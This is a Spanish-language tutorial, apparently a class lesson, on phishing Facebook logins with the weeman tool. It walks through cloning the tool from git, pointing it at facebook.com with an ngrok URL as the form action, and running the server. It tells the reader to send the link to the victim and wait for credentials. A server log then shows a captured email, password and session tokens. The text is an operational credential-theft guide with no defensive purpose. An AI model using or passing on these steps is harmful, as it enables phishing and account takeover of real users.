Bien para esta clase vamos a utilizar otro repositorio de git.

Esta herramienta se llama weeman, sirve para clonar sitios que contengan login de acceso con usuario email y contraseña.

Es importante aclararles que también utiliza a ngrok para realizar el ataque fuera de la red local.

En el ejemplo vamos a utilizar Facebook como práctica.

Vamos a comenzar descargando la herramienta clonándola desde git.

root@computaxion:~/tools# git clone https://github.com/samyoyo/weeman.git

Una vez descargada la herramienta vamos a sitio donde se descargó.

root@computaxion:~/tools# ls

Armitage Evil-Droid ngrok Phisher-man weeman

root@computaxion:~/tools# cd weeman/

root@computaxion:~/tools/weeman# ls

Al listar nos encontramos con el archivo weeman.py, lo ejecutaos con el siguiente comando. Python weeman.py

Core LICENSE README.md weeman.py

root@computaxion:~/tools/weeman# python weeman.py

Al iniciar weeman, utilizamos el comando help para ver las opciones que nos brinda.

(Weeman): help

 show : show default settings.///// show: muestra la configuración predeterminada.

 Set: set settings (set port 80). ////// set: establece la configuración (establece el Puerto 80)

 Run : start the server. /////run inicia el servidor.

 Clear: clear screen.///// clear limpia la pantalla

 Help : show help. ///muestra ayuda

 Quit : bye bye. //// Cierra

 (Weeman): show

 ---------------------------

 URL : http://localhost

 Port : 8080

 accion\_url: http://localhost/login

 User agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537. 36 (KHTML, liqk Gecko) Chrome/41.0.2227.0 Safari/537.36

 Bien como vemos trae por defecto algunas configuraciones, se las vamos a cambiar por las nuestras. Con el comando SET

 ---------------------------

 (weeman ) : set url https://facebook.com

 (weeman ) : set action\_url https://0d44dac1.ngrok.io

 (weeman ) : set port 8080

 (weeman ) : run

Como vieron en el parámetro url le colocamos la de Facebook, en la accion\_url le colocamos la que nos brinda ngrok y en el puerto le colocamos el 8080, finalmente le damos inicio con el comando run.

Ahora le enviamos el enlace a la víctima y esperamos que nos lleguen las credenciales de acceso.

[00:09:44] Trying to get https://facebook.com ...

[00:09:44] Downloadng wepage ...

[00:09:49] Modifying the HTML file ...

[00:09:49] the HTML page will redirect to ref.html ...

[00:09:49] Starting Weeman 1.3 server on 0.0.0.0:8080

[00:10:48] Connected : localhost

[00:10:48] localhost - sent GET request without parameters.

[00:10:52] Connected : localhost

[00:10:52] Connected : localhost

[00:10:52] Connected : localhost

[00:10:52] Connected : localhost

[00:10:57] localhost - sent POST request.

[00:10:57] Something wrong: (too many values to unpack) igonring ...

[00:10:58] localhost - sent POST request.

[00:10:58] Something wrong: (too many values to unpack) igonring ...

[00:11:00] localhost - sent POST request.

[00:11:00] Something wrong: (too many values to unpack) igonring ...

[00:11:13] localhost - sent POST request.

[00:11:13] Something wrong: (too many values to unpack) igonring ...

[00:11:16] localhost - sent POST request.

[00:11:16] Something wrong: (too many values to unpack) igonring ...

[00:11:22] localhost - sent POST request.

[00:11:22] jazoest => 2668

[00:11:22] lsd => AVr\_\_HHE

[00:11:22] email => 123@gmail.com

[00:11:22] pass => 1234566

[00:11:22] timezone => 300

[00:11:22] lgndim => eyJ3IjoxMzY2LCJoIjo3MTIsImF3IjoxMzY2LCJhaCI6NjgxLCJjIjoyNH0=

[00:11:22] lgnrnd => 210942\_WNvY

[00:11:22] lgnjs => 1581570651

[00:11:22] ab\_test\_data => AAAAAAAA//A///A/AAAAAA/AAAAAAA/AAAAAAAAAZyyl/AZAAAEFAB

[00:11:22] locale => es\_LA

[00:11:22] next => https://www.facebook.com/

[00:11:22] login\_source => login\_bluebar

[00:11:22] guid => f186c5db5f7cfe4

[00:11:22] skstamp => eyJoYXNoIjoiZWM3NDRjY2EzOTY1MTAxYTM2OTRiYTE1MWY0ZTI5OWYiLCJoYXNoMiI6ImMxYzdkMzhiZWQ3NWYzNmY1MGFkZGZkZmFlMGVkODVlIiwi cm91bmRzIjo1LCJzZWVkIjoiNGQ2NTJmNTRjMjQ2MWEzNTY1YzFiNTc3NDE0NGQ5Y2EiL CJzZWVkMiI6IjZlMTQ2ZDNmMDZjMWI4MmNiYjgyZWQ2NjhhOTBlZjJiIiwidGltZV90YW tlbiI6NDU2MDAwLCJzdXJmYWNlIjoibG9naW4ifQ==